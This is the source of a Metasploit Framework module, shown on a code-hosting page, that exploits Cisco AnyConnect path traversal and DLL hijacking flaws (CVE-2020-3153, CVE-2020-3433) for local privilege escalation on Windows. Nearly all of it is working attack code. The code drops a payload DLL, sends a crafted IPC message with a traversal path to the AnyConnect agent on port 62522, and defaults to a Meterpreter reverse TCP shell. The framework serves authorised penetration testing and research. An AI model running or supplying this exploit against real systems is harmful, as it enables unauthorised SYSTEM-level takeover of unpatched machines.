Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/anyconnect_lpe.rb
32681 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::Windows::Priv
10
include Msf::Post::Windows::FileInfo
11
include Msf::Post::File
12
include Msf::Exploit::EXE
13
include Msf::Exploit::FileDropper
14
prepend Msf::Exploit::Remote::AutoCheck
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Cisco AnyConnect Privilege Escalations (CVE-2020-3153 and CVE-2020-3433)',
21
'Description' => %q{
22
The installer component of Cisco AnyConnect Secure Mobility Client for Windows
23
prior to 4.8.02042 is vulnerable to path traversal and allows local attackers
24
to create/overwrite files in arbitrary locations with system level privileges.
25
26
The installer component of Cisco AnyConnect Secure Mobility Client for Windows
27
prior to 4.9.00086 is vulnerable to a DLL hijacking and allows local attackers
28
to execute code on the affected machine with with system level privileges.
29
30
Both attacks consist in sending a specially crafted IPC request to the TCP
31
port 62522 on the loopback device, which is exposed by the Cisco AnyConnect
32
Secure Mobility Agent service. This service will then launch the vulnerable
33
installer component (`vpndownloader`), which copies itself to an arbitrary
34
location (CVE-2020-3153) or with a supplied DLL (CVE-2020-3433) before being
35
executed with system privileges. Since `vpndownloader` is also vulnerable to DLL
36
hijacking, a specially crafted DLL (`dbghelp.dll`) is created at the same
37
location `vpndownloader` will be copied to get code execution with system
38
privileges.
39
40
The CVE-2020-3153 exploit has been successfully tested against Cisco AnyConnect
41
Secure Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 10
42
version 1909 (x64) and Windows 7 SP1 (x86); the CVE-2020-3434 exploit has been
43
successfully tested against Cisco AnyConnect Secure Mobility Client versions
44
4.5.02036, 4.6.03049, 4.7.04056, 4.8.01090 and 4.8.03052 on Windows 10 version
45
1909 (x64) and 4.7.4056 on Windows 7 SP1 (x64).
46
},
47
'License' => MSF_LICENSE,
48
'Author' => [
49
'Yorick Koster', # original PoC CVE-2020-3153, analysis
50
'Antoine Goichot (ATGO)', # PoC CVE-2020-3153, original PoC for CVE-2020-3433, update of msf module
51
'Christophe De La Fuente' # msf module for CVE-2020-3153
52
],
53
'Platform' => 'win',
54
'SessionTypes' => [ 'meterpreter' ],
55
'Targets' => [
56
[
57
'Windows x86/x64 with x86 payload',
58
{
59
'Arch' => ARCH_X86
60
}
61
]
62
],
63
'Privileged' => true,
64
'References' => [
65
['URL', 'https://ssd-disclosure.com/ssd-advisory-cisco-anyconnect-privilege-elevation-through-path-traversal/'],
66
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-win-path-traverse-qO4HWBsj'],
67
['CVE', '2020-3153'],
68
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-anyconnect-dll-F26WwJW'],
69
['CVE', '2020-3433']
70
],
71
'DisclosureDate' => '2020-08-05',
72
'Notes' => {
73
'SideEffects' => [ARTIFACTS_ON_DISK],
74
'Reliability' => [REPEATABLE_SESSION],
75
'Stability' => [CRASH_SAFE]
76
},
77
'DefaultTarget' => 0,
78
'DefaultOptions' => {
79
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
80
'FileDropperDelay' => 10
81
},
82
'Compat' => {
83
'Meterpreter' => {
84
'Commands' => %w[
85
core_channel_open
86
]
87
}
88
}
89
)
90
)
91
92
register_options [
93
OptString.new('INSTALL_PATH', [
94
false,
95
'Cisco AnyConnect Secure Mobility Client installation path (where \'vpndownloader.exe\''\
96
' should be found). It will be automatically detected if not set.'
97
]),
98
OptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-3433', ['CVE-2020-3433', 'CVE-2020-3153']])
99
]
100
end
101
102
# See AnyConnect IPC protocol articles:
103
# - https://www.serializing.me/2016/12/14/anyconnect-elevation-of-privileges-part-1/
104
# - https://www.serializing.me/2016/12/20/anyconnect-elevation-of-privileges-part-2/
105
# - https://www.serializing.me/2023/01/27/anyconnect-inter-process-communication/
106
class CIPCHeader < BinData::Record
107
endian :little
108
109
uint32 :id_tag, label: 'ID Tag', value: 0x4353434f
110
uint16 :header_length, label: 'Header Length', initial_value: -> { num_bytes }
111
uint16 :data_length, label: 'Data Length', initial_value: -> { parent.body.num_bytes }
112
uint32 :ipc_repsonse_cb, label: 'IPC response CB', initial_value: 0xFFFFFFFF
113
uint32 :msg_user_context, label: 'Message User Context', initial_value: 0x00000000
114
uint32 :request_msg_id, label: 'Request Message Id', initial_value: 0x00000002
115
uint32 :return_ipc_object, label: 'Return IPC Object', initial_value: 0x00000000
116
uint8 :message_type, label: 'Message Type', initial_value: 1
117
uint8 :message_id, label: 'Message ID', initial_value: 2
118
end
119
120
class CIPCTlv < BinData::Record
121
# TLVs are tricky when it comes to endieness. For the type and length fields, they're big endian, but
122
# for the value, they're little endian. For example, each UTF-16 character, is encoded in one little
123
# endian unsigned short. There is one exception to that rule: UTF-8 strings and TV (Type and Value)
124
# entries. Note that TVs, are the ones that have a Type like 0x80XX, which are used to store some
125
# booleans and unsigned shorts.
126
# This is why having the entire "BinData::Record" as big endian is not a problem in this case: the IPC
127
# message to which the vulnerabilit(ies) are associated, only makes use of UTF-8 strings and a boolean.
128
endian :big
129
130
uint16 :msg_type, label: 'Type'
131
uint16 :msg_length, label: 'Length', initial_value: -> { msg_value.num_bytes }
132
stringz :msg_value, label: 'Value', length: -> { msg_length }
133
end
134
135
class CIPCMessage < BinData::Record
136
endian :little
137
138
cipc_header :header, label: 'Header'
139
array :body, label: 'Body', type: :cipc_tlv, read_until: :eof
140
end
141
142
def detect_path
143
program_files_paths = Set.new([get_env('ProgramFiles')])
144
program_files_paths << get_env('ProgramFiles(x86)')
145
path = 'Cisco\\Cisco AnyConnect Secure Mobility Client'
146
147
program_files_paths.each do |program_files_path|
148
next unless file_exist?([program_files_path, path, 'vpndownloader.exe'].join('\\'))
149
150
return "#{program_files_path}\\#{path}"
151
end
152
153
nil
154
end
155
156
def sanitize_path(path)
157
return nil unless path
158
159
path = path.strip
160
loop do
161
break if path.last != '\\'
162
163
path.chop!
164
end
165
path
166
end
167
168
def check
169
install_path = sanitize_path(datastore['INSTALL_PATH'])
170
if install_path&.!= ''
171
vprint_status("Skipping installation path detection and use provided path: #{install_path}")
172
@installation_path = file_exist?([install_path, 'vpndownloader.exe'].join('\\')) ? install_path : nil
173
else
174
vprint_status('Try to detect installation path...')
175
@installation_path = detect_path
176
end
177
178
unless @installation_path
179
return CheckCode.Safe('vpndownloader.exe not found on file system')
180
end
181
182
file_path = "#{@installation_path}\\vpndownloader.exe"
183
vprint_status("Found vpndownloader.exe path: '#{file_path}'")
184
185
version = file_version(file_path)
186
unless version
187
return CheckCode.Unknown('Unable to retrieve vpndownloader.exe file version')
188
end
189
190
cve_2020_3153 = (datastore['CVE'] == 'CVE-2020-3153')
191
192
patched_version_cve_2020_3153 = Rex::Version.new('4.8.02042')
193
patched_version_cve_2020_3433 = Rex::Version.new('4.9.00086')
194
@ac_version = Rex::Version.new(version.join('.'))
195
if @ac_version < patched_version_cve_2020_3153
196
return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version_cve_2020_3153} (CVE-2020-3153 & CVE-2020-3433).")
197
elsif (@ac_version < patched_version_cve_2020_3433) && !cve_2020_3153
198
return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version_cve_2020_3433} (CVE-2020-3433).")
199
elsif (@ac_version < patched_version_cve_2020_3433) && cve_2020_3153
200
return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version_cve_2020_3153} (However CVE-2020-3433 can be used).")
201
else
202
return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version_cve_2020_3433}.")
203
end
204
end
205
206
def exploit
207
fail_with(Failure::None, 'Session is already elevated') if is_system?
208
if !payload.arch.include?(ARCH_X86)
209
fail_with(Failure::None, 'Payload architecture is not compatible with this module. Please, select an x86 payload')
210
end
211
212
check_result = check
213
print_status(check_result.message)
214
if check_result == CheckCode::Safe && !@installation_path
215
fail_with(Failure::NoTarget, 'Installation path not found (try to set INSTALL_PATH if automatic detection failed)')
216
end
217
218
cac_cmd = '"CAC-nc-install'
219
if @ac_version && @ac_version >= Rex::Version.new('4.7')
220
vprint_status('"-ipc" argument needed')
221
cac_cmd << "\t-ipc=#{rand_text_numeric(5)}"
222
else
223
vprint_status('"-ipc" argument not needed')
224
end
225
226
cve_2020_3153 = (datastore['CVE'] == 'CVE-2020-3153')
227
if cve_2020_3153
228
program_data_path = get_env('ProgramData')
229
dbghelp_path = "#{program_data_path}\\Cisco\\dbghelp.dll"
230
else
231
temp_path = get_env('TEMP')
232
junk = Rex::Text.rand_text_alphanumeric(6)
233
temp_path << "\\#{junk}"
234
mkdir(temp_path)
235
dbghelp_path = "#{temp_path}\\dbghelp.dll"
236
end
237
238
print_status("Writing the payload to #{dbghelp_path}")
239
240
begin
241
payload_dll = generate_payload_dll(dll_exitprocess: true)
242
write_file(dbghelp_path, payload_dll)
243
register_file_for_cleanup(dbghelp_path)
244
rescue ::Rex::Post::Meterpreter::RequestError => e
245
fail_with(Failure::NotFound, e.message)
246
end
247
248
if cve_2020_3153
249
# vpndownloader.exe will be copied to "C:\ProgramData\Cisco\" (assuming the
250
# normal process will copy the file to
251
# "C:\ProgramData\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer\XXXX.tmp\")
252
register_file_for_cleanup("#{program_data_path}\\Cisco\\vpndownloader.exe")
253
junk = Rex::Text.rand_text_alphanumeric(4)
254
cac_cmd << "\t#{@installation_path}\\#{junk}\\#{junk}\\#{junk}\\#{junk}\\../../../../vpndownloader.exe\t-\""
255
else
256
cac_cmd << "\t#{@installation_path}\\vpndownloader.exe\t#{dbghelp_path}\""
257
end
258
259
vprint_status("IPC Command: #{cac_cmd}")
260
261
cipc_msg = CIPCMessage.new
262
cipc_msg.body << CIPCTlv.new(
263
msg_type: 2,
264
msg_value: cac_cmd
265
)
266
cipc_msg.body << CIPCTlv.new(
267
msg_type: 6,
268
msg_value: "#{@installation_path}\\vpndownloader.exe"
269
)
270
271
vprint_status('Connecting to the AnyConnect agent on 127.0.0.1:62522')
272
begin
273
socket = client.net.socket.create(
274
Rex::Socket::Parameters.new(
275
'PeerHost' => '127.0.0.1',
276
'PeerPort' => 62522,
277
'Proto' => 'tcp'
278
)
279
)
280
rescue Rex::ConnectionError => e
281
fail_with(Failure::Unreachable, e.message)
282
end
283
284
vprint_status("Send the encoded IPC command (size = #{cipc_msg.num_bytes} bytes)")
285
socket.write(cipc_msg.to_binary_s)
286
socket.flush
287
# Give FileDropper some time to cleanup before handing over to the operator
288
Rex.sleep(3)
289
ensure
290
if socket
291
vprint_status('Shutdown the socket')
292
socket.shutdown
293
end
294
end
295
296
end
297
298